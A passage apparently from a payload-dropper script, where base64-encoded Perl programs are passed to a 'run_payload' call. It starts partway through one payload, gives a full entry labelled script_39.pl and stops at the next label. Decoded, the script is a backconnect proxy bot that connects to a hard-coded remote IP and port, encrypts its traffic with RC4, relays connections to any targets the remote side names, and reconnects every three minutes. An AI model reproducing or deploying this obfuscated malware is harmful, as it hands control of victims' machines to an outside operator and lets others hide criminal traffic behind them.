QkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_39.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_3.pl
